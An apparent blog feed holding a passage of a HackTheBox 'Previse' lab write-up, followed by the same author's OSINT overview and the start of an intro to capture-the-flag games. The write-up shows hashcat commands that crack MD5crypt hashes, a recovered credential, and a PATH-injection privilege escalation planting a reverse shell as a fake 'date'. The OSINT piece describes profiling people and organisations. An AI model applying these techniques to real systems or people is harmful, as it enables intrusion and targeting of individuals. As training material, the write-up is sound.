&lt;p&gt;"...A password encrypted by one of these algorithms would look like &lt;code&gt;$1$salt$encrypted&lt;/code&gt; (for MD5), &lt;code&gt;$5$salt$encrypted&lt;/code&gt; (for SHA-256), or &lt;code&gt;$6$salt$encrypted&lt;/code&gt; (for SHA-512), where each &lt;code&gt;$&lt;/code&gt; is a literal &lt;code&gt;$&lt;/code&gt; character, where salt is a salt of up to 16 characters, and where encrypted is the actual hash."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This will be be &lt;em&gt;very&lt;/em&gt; important when we crack the hashes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Identifying the hash algorithm
&lt;/h3&gt;

&lt;p&gt;Even though the above excerpt explains that "one of these algorithms would look like &lt;code&gt;$1$salt$encrypted&lt;/code&gt; (for MD5)", we will go through the process of identifying the hash algorithm to familiarize ourselves with the process, and prepare for when we do not recognize the hash type immediately.&lt;/p&gt;

&lt;h4&gt;
  
  
  Hashcat
&lt;/h4&gt;

&lt;p&gt;Even though there are many ways to do this, we will use &lt;code&gt;hashcat&lt;/code&gt; . Hashcat a powerful password cracking tool. Hashcat has an &lt;code&gt;--example-hashes&lt;/code&gt; flag will show a lot of standard hash types and what their signatures are. From there, we look for any patterns that match the &lt;code&gt;$1&lt;/code&gt; pattern we see at the beginning of our hashes.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;hashcat --example-hashes | grep '\$1' -B4&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzt9w4cl18hvejsf43zzn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzt9w4cl18hvejsf43zzn.png" alt="Image description"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Documents/htb/previse]                  
└─$ hashcat --example-hashes | grep '\$1' -B4
HASH: $P$946647711V1klyitUYhtB8Yw5DMA/w.
PASS: hashcat
MODE: 500    
TYPE: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)           
HASH: $1$38652870$DUjsu4TTlTsOe/xxZ05uf/  
--
PASS: hashcat
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we know that the hash is MD5. This is a very common type of hash, so some people may know just from looking at it, but now we know how to identify password hashes that we aren't familiar with.&lt;/p&gt;

&lt;p&gt;As it says here, MD5 is "mode 500. This will be important later.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cracking the hashes
&lt;/h3&gt;

&lt;p&gt;Finally! Now that we've done the ground work, we can crack our hashes.&lt;/p&gt;

&lt;h4&gt;
  
  
  Store the hashes in a file
&lt;/h4&gt;

&lt;p&gt;I put the hashes in a file with a colon delimiter and called it &lt;code&gt;hashes.txt&lt;/code&gt; like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;m4lwhere:$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
SSHad0w:$1$🧂llol$elwMtr/dbrrAdw/Eb6S/K.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We'll keep using hashcat to crack the hashes. The following command is what we'll use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt --user&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;A quick breakdown of the command:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The &lt;code&gt;-m 500&lt;/code&gt; tells hashcat to crack using the MD5 algorithm. This way it doesn't waste time trying other possible algorithm.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;code&gt;/usr/share/wordlists/rockyou.txt&lt;/code&gt; is the wordlist that hashcat will compare the hashes to. &lt;code&gt;rockyou.txt&lt;/code&gt; is the largest, and &lt;a href="https://en.wikipedia.org/wiki/RockYou" rel="noopener noreferrer"&gt;widely considered the best wordlist for password cracking&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;code&gt;--user&lt;/code&gt; flag tells hashcat that the username is on the left of the passwords in the standard &lt;code&gt;username:password&lt;/code&gt; format. This allows hashcat to keep the username and password together if it finds a match.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We found the password! The credentials are &lt;code&gt;m4lwhere:ilovecody112235!&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now we can &lt;code&gt;su&lt;/code&gt; to the user, or simply login as &lt;code&gt;m4lwhere&lt;/code&gt; over SSH.&lt;/p&gt;

&lt;p&gt;I prefer SSH for a higher quality shell and more stable connection.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa7otrtmz57yi4a53mi0q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa7otrtmz57yi4a53mi0q.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;p&gt;Although there are a 1024 ways to skin a cat, we will try one of the simplest privilege escalation techniques in the book: &lt;code&gt;sudo -l&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This command searches the system for binaries that can be executed as other users, possibly with more (or different) privilege.&lt;/p&gt;

&lt;p&gt;Finding and exploiting &lt;a href="https://www.linux.com/training-tutorials/what-suid-and-how-set-suid-linuxunix/" rel="noopener noreferrer"&gt;SUID&lt;/a&gt; binaries are very common in boot to root CTFs, so this command is at the top of my list for privesc methodology.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmvl5erzlry1vxq9bebx3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmvl5erzlry1vxq9bebx3.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is s SUID program running as &lt;code&gt;root&lt;/code&gt; on the system. If we can exploit that binary, we can gain arbitrary command execution at the root level.&lt;/p&gt;

&lt;p&gt;If we had write access, we would simply edit it and write a reverse shell in the script. Since we don't, we'll have to use the environment around it to find a way to execute our code.&lt;/p&gt;

&lt;p&gt;Since we have read access, let's view the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;m4lwhere@previse:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /opt/scripts/access_backup.sh 
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="c"&gt;# We always make sure to store logs, we take security SERIOUSLY here&lt;/span&gt;

&lt;span class="c"&gt;# I know I shouldnt run this as root but I cant figure it out programmatically on my account&lt;/span&gt;
&lt;span class="c"&gt;# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time&lt;/span&gt;

&lt;span class="nb"&gt;gzip&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; /var/log/apache2/access.log &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /var/backups/&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;--date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"yesterday"&lt;/span&gt; +%Y%b%d&lt;span class="si"&gt;)&lt;/span&gt;_access.gz
&lt;span class="nb"&gt;gzip&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; /var/www/file_access.log &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /var/backups/&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;--date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"yesterday"&lt;/span&gt; +%Y%b%d&lt;span class="si"&gt;)&lt;/span&gt;_file_access.gz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From here, we learn a few things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; This script is being run automatically with a crontab (and we can execute it).&lt;/li&gt;
&lt;li&gt; The log file that we write to when we make actions on apache is what's being operated on.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  How the script works
&lt;/h2&gt;

&lt;p&gt;It calls a program called &lt;code&gt;gzip&lt;/code&gt; which is basically a popular compression program used in the Linux world.&lt;/p&gt;

&lt;p&gt;The argument specified &lt;code&gt;-c&lt;/code&gt; is used to print the compressed file's contents to STDOUT.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6kxjz6dq7olzfjprwq5h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6kxjz6dq7olzfjprwq5h.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Even in the man pages, there are examples of the user using a redirect operator with the &lt;code&gt;-c&lt;/code&gt; option.&lt;/p&gt;

&lt;p&gt;Let's try to unzip this compressed text, as we may need to read the data at some point.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft1i5cmsi26wavsw4gnf5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft1i5cmsi26wavsw4gnf5.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As we can see, piping STDIN to &lt;code&gt;gunzip&lt;/code&gt; (the antithesis of &lt;code&gt;gzip&lt;/code&gt;) displays the original content, or prints it to STDOUT.&lt;/p&gt;

&lt;p&gt;Now that we've done that proof of concept, let's try it on the real server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkj4gaqrxxajdbyrtobi8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkj4gaqrxxajdbyrtobi8.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It works! We can read the zipped files. This may be helpful later.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgbsa325h464lwk4aoj8g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgbsa325h464lwk4aoj8g.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After doing some enumeration, we see that we do have edit privilege for the &lt;code&gt;/var/www/file_access.log&lt;/code&gt; file, and not the other file referenced in the script.&lt;/p&gt;

&lt;p&gt;The is the same file that can be downloaded by admins on the webserver.&lt;/p&gt;

&lt;h2&gt;
  
  
  The date command
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;date&lt;/code&gt; command is a very simple command used in UNIX to display the exact date and time. Since this program uses the &lt;code&gt;date&lt;/code&gt; command as a variable, if I can find a way to control the output of the &lt;code&gt;date&lt;/code&gt; command, I can run code as root.&lt;/p&gt;

&lt;p&gt;Let's try it on our own machine.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9vwb4lz7i8eqe0d65y1r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9vwb4lz7i8eqe0d65y1r.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we can change the version of &lt;code&gt;date&lt;/code&gt; being called, we can also control the execution flow of the SUID binary.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbe5nm0mh0zzfaqjz6tm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbe5nm0mh0zzfaqjz6tm.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We cannot edit the &lt;code&gt;date&lt;/code&gt; command, as it is owned by root.&lt;/p&gt;

&lt;h2&gt;
  
  
  PATH Injection
&lt;/h2&gt;

&lt;p&gt;What we can do is modify the PATH that the &lt;code&gt;date&lt;/code&gt; command uses. Even though the binary is owned by root and in &lt;code&gt;/opt/scripts/&lt;/code&gt;. We can change our PATH to a world writeable directory (like &lt;code&gt;/tmp&lt;/code&gt;, &lt;code&gt;/dev/shm&lt;/code&gt;, etc...), write a reverse shell in the false &lt;code&gt;date&lt;/code&gt; command and run the binary. &lt;/p&gt;

&lt;p&gt;The program views the environment it's being executed in and runs the local version of &lt;code&gt;date&lt;/code&gt; instead of the correct version. &lt;/p&gt;

&lt;p&gt;This is a standard example of &lt;a href="https://int0x33.medium.com/day-29-set-user-id-environment-variable-injection-path-user-for-linux-priv-esc-ea6c0adc19b8" rel="noopener noreferrer"&gt;"PATH injection" or "Environment Variable injection"&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcvg2en2m4skxbkz94spl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcvg2en2m4skxbkz94spl.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Root shell
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F54vdm88kcrvcwhifwf16.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F54vdm88kcrvcwhifwf16.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Please let me know in the comments if you have any questions, suggestions, or alternate paths!&lt;/p&gt;

&lt;p&gt;Remember to always ask better questions!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>hackthebox</category>
      <category>beginners</category>
    </item>
    <item>
      <title>30D2R - July: OSINT</title>
      <dc:creator>SSHad0w</dc:creator>
      <pubDate>Mon, 04 Jan 2021 01:36:58 +0000</pubDate>
      <link>https://forem.com/sshad0w/30d2r-july-osint-5bd2</link>
      <guid>https://forem.com/sshad0w/30d2r-july-osint-5bd2</guid>
      <description>&lt;p&gt;This post is a part of my &lt;a href="https://dev.to/sshad0w/30-days-to-root-challenge-introduction-3idp"&gt;30 Days 2 Root&lt;/a&gt; challenge series.&lt;br&gt;
Essentially, I am trying to learn the basics of a different facet of cybersecurity each month. &lt;a href="https://dev.to/sshad0w/30-days-to-root-challenge-introduction-3idp"&gt;Click here&lt;/a&gt; to learn about how the challenge works, or tell me what I should study next!&lt;/p&gt;

&lt;p&gt;Do you ever wonder how Twitter sleuths and private investigators can find out so much information about an event or person? Or how attackers find information that leads to a huge breach?&lt;/p&gt;

&lt;p&gt;It's a skill that requires no programing, hacking, and it's completely legal. &lt;/p&gt;

&lt;p&gt;Open source intelligence (OSINT) is a very important tool of any InfoSec practitioner. It is a safe and legal way to collect information about a target because the information is accessible by anyone.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why do we need OSINT?
&lt;/h3&gt;

&lt;p&gt;When an attacker tries to find a hole in the perimeter of a secure organization, they must gather OSINT to find the weak link. This means that the attacker needs to understand the purpose of the organization, how it's structured, and technical details about it's infrastructure.&lt;/p&gt;

&lt;h3&gt;
  
  
  Passive VS active OSINT
&lt;/h3&gt;

&lt;p&gt;There are two ways that information can be gathered. Passive reconnaissance and active reconnaissance. Passive recon is only using resources that do not require interaction with the target organization. This is the least risky method because there is no way the organization can trace your information gathering back to you. An example would be looking the organization up on Wikipedia to understand the basics of what the organization does, or who works for it.&lt;/p&gt;

&lt;p&gt;Active recon gathers much more information than passive recon, but can be slightly more risky because information gathering attempts can be traced back to the attacker. Active recon can be anything from visiting the organization's website, to calling the organization, to scanning their public-facing servers to understand which services they're running.&lt;/p&gt;

&lt;p&gt;Both are necessary to learn about the organization, but active recon requires strong &lt;a href="https://www.upguard.com/blog/opsec"&gt;OPSEC&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  OSINT on individuals
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Social media
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--J1EZZMbk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/h4cvw3xe44kpm2bgdwus.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--J1EZZMbk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/h4cvw3xe44kpm2bgdwus.jpg" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One of the biggest problems with the modern day internet culture is oversharing. finding basic information about someone's life like their birthday, the names of their loved ones, their interests, and other things that may help you get an initial foothold. Since a lot of people are aware enough not to overshare, a good idea is to find information about the target by finding the social media of people close to the target.&lt;/p&gt;

&lt;h4&gt;
  
  
  Username enumeration
&lt;/h4&gt;

&lt;p&gt;Many people use similar usernames for every website they use. Once a username is found, it can be searched to find more websites that the target uses, and more information about the target.&lt;/p&gt;

&lt;h4&gt;
  
  
  Resumes and CVs
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--BebWHV6c--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/aoug0s625gm2rglfshvg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--BebWHV6c--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/aoug0s625gm2rglfshvg.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Some people upload their resumes and CVs to publicly accessible places in order to increase exposure, but forget to take it down. This exposes information like their personal phone number, past residences, and possibly physical address.&lt;/p&gt;

&lt;h4&gt;
  
  
  Company records
&lt;/h4&gt;

&lt;p&gt;Often times, employers will post blogs/messages about their employees (celebratory anniversary messages, project announcements, etc..) that may lead to more information about their personal and professional life.&lt;/p&gt;

&lt;h4&gt;
  
  
  Publicly available records
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Ba2B5ZV4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/jv7as0k5ihvc2ckiit89.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Ba2B5ZV4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/jv7as0k5ihvc2ckiit89.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Things like driving, marriage, and arrest records, birth and death certificates, and other government-related information are often publicly available. This information will vary depending which part in the world the target resides in and how the government treats that type of information.&lt;/p&gt;

&lt;h3&gt;
  
  
  OSINT on organization
&lt;/h3&gt;

&lt;h4&gt;
  
  
  LinkedIn
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---l7ewG_f--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/oqpc3t08vh88gt512odv.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---l7ewG_f--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/oqpc3t08vh88gt512odv.jpg" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Most modern organizations list themselves on job listing sites like monster.com or LinkedIn. Finding the name of the organization on these sites will often find more employees related to the company the target works for. &lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Protip: Enumerate internal architecture by finding the technologies used in the resumes of employees&lt;/strong&gt; (ex: If someone who works for the organization states that they understand AWS, the organization might be using AWS infrastructure.)&lt;/em&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Press releases
&lt;/h4&gt;

&lt;p&gt;Public press releases may lead to information about how the organization is structured, protocols for certain types of situations, and important personnel changes that may lead to a foothold.&lt;/p&gt;

&lt;h4&gt;
  
  
  News articles
&lt;/h4&gt;

&lt;p&gt;News articles often contain a lot about a organization that they aren't willing to share themselves. Typically this information will be more honest, wholistic, and a different prospective than the press releases from the organization itself.&lt;/p&gt;

&lt;p&gt;For example, a government may claim to uphold all international laws, but the news about them may state otherwise.&lt;/p&gt;

&lt;h3&gt;
  
  
  Common tools and techniques
&lt;/h3&gt;

&lt;p&gt;There are a million ways to find information about a person or organization with OSINT, but here are some of the things I use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Your favorite search engine&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="//shodan.io"&gt;Shodan.io&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Google_hacking"&gt;Google Dorking&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://latesthackingnews.com/2018/09/25/bloodhound-a-tool-for-exploring-active-directory-domain-security/"&gt;Bloodhound&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="//Haveibeenpwned.com"&gt;HaveIBeenPwned&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;News media websites&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="//archive.org"&gt;The Wayback machine&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Social media websites&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://tools.kali.org/information-gathering/theharvester"&gt;The Harvester&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.maltego.com"&gt;Maltego&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://github.com/sensepost/snoopy-ng"&gt;Recon-ng/snoopy-ng&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/ExifTool"&gt;ExifTool&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.start.umd.edu/data-tools/global-terrorism-database-gtd"&gt;Global Terrorism Database&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://datasploit.readthedocs.io/en/latest/"&gt;Datasploit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.brbpublications.com/freeresources/Pubrecsites.aspx"&gt;BRBPublications&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.sans.org/blog/-must-have-free-resources-for-open-source-intelligence-osint-/"&gt;Other sources and methods&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are many ways to preform OSINT, but the best way is to use your favorite search engine. It is a very powerful tool in any hacker's toolbox that can lead to the initial foothold inside of an organization. &lt;/p&gt;

&lt;p&gt;Stay curious, and remember: &lt;/p&gt;

&lt;p&gt;&lt;em&gt;If &lt;a href="https://digitalsynopsis.com/tools/google-serp-design/"&gt;page two of google is the best place to hide a body&lt;/a&gt;, a good OSINT researcher can find the skeletons in anyone's closet.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>30d2r</category>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>security</category>
    </item>
    <item>
      <title>30D2R - June: Introduction to CTFs</title>
      <dc:creator>SSHad0w</dc:creator>
      <pubDate>Sat, 12 Dec 2020 03:58:06 +0000</pubDate>
      <link>https://forem.com/sshad0w/30d2r-june-introduction-to-ctfs-1k0c</link>
      <guid>https://forem.com/sshad0w/30d2r-june-introduction-to-ctfs-1k0c</guid>
      <description>&lt;p&gt;This post is a part of my &lt;a href="https://dev.to/sshad0w/30-days-to-root-challenge-introduction-3idp"&gt;30 Days 2 Root&lt;/a&gt; challenge series.&lt;br&gt;
Essentially, I am trying to learn the basics of a different facet of cybersecurity each month. &lt;a href="https://dev.to/sshad0w/30-days-to-root-challenge-introduction-3idp"&gt;Click here&lt;/a&gt; to learn about how the challenge works, or tell me what I should study next!&lt;/p&gt;

&lt;p&gt;Capture the Flag competitions are computer challenges for people in Cybersecurity that help security enthusiasts hone their skills, meet new people, and try new things. Think of these competitions as a sandbox for people to play in with minimal risk to real machines or people in an a realistic setting.&lt;/p&gt;

&lt;p&gt;While CTFs can have defensive or forensic aspects to them, they are primarily designed for hackers to test their skills. Since June marked the halfway point in my 30 Days to Root Challenge, I figured I might as well take some time to test my skills. &lt;/p&gt;

&lt;h3&gt;
  
  
  Sites
&lt;/h3&gt;

&lt;p&gt;There are many sites to play CTFs. My favorite is HackTheBox, but there are many others. Here are some examples:&lt;/p&gt;

&lt;p&gt;&lt;a href="//Hackthebox.eu"&gt;HackThebox&lt;/a&gt;&lt;br&gt;
&lt;a href="//TryHackMe.com"&gt;TryHackMe&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are two different types of CTFs: live CTFs, and Boot 2 Root CTFs. The B2R CTFs are hosted on a virtual machine and typically are accessed and activated on the website, and there is a VPN to access the server side virtual machine. &lt;/p&gt;

